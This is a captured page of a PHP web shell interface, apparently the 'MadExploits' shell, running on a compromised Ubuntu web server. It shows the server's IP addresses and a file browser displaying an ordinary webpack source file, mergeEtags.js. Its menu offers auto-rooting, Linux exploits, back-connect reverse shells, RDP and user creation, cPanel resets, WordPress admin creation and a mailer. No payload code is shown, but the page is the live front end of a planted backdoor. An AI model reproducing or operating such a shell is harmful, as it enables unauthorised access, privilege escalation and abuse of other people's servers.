Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.159
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
amatya /
quiz1 /
node_modules /
webpack /
lib /
cache /
[ HOME SHELL ]
Name
Size
Permission
Action
AddBuildDependenciesPlugin.js
716
B
-rw-rw-rw-
AddManagedPathsPlugin.js
1.09
KB
-rw-rw-rw-
IdleFileCachePlugin.js
6.98
KB
-rw-rw-rw-
MemoryCachePlugin.js
1.49
KB
-rw-rw-rw-
MemoryWithGcCachePlugin.js
3.96
KB
-rw-rw-rw-
PackFileCacheStrategy.js
43.22
KB
-rw-rw-rw-
ResolverCachePlugin.js
13.2
KB
-rw-rw-rw-
getLazyHashedEtag.js
2.14
KB
-rw-rw-rw-
mergeEtags.js
1.39
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : mergeEtags.js
/* MIT License http://www.opensource.org/licenses/mit-license.php Author Tobias Koppers @sokra */ "use strict"; /** @typedef {import("../Cache").Etag} Etag */ class MergedEtag { /** * @param {Etag} a first * @param {Etag} b second */ constructor(a, b) { this.a = a; this.b = b; } toString() { return `${this.a.toString()}|${this.b.toString()}`; } } const dualObjectMap = new WeakMap(); const objectStringMap = new WeakMap(); /** * @param {Etag} a first * @param {Etag} b second * @returns {Etag} result */ const mergeEtags = (a, b) => { if (typeof a === "string") { if (typeof b === "string") { return `${a}|${b}`; } const temp = b; b = a; a = temp; } else if (typeof b !== "string") { // both a and b are objects let map = dualObjectMap.get(a); if (map === undefined) { dualObjectMap.set(a, (map = new WeakMap())); } const mergedEtag = map.get(b); if (mergedEtag === undefined) { const newMergedEtag = new MergedEtag(a, b); map.set(b, newMergedEtag); return newMergedEtag; } return mergedEtag; } // a is object, b is string let map = objectStringMap.get(a); if (map === undefined) { objectStringMap.set(a, (map = new Map())); } const mergedEtag = map.get(b); if (mergedEtag === undefined) { const newMergedEtag = new MergedEtag(a, b); map.set(b, newMergedEtag); return newMergedEtag; } return mergedEtag; }; module.exports = mergeEtags;
Close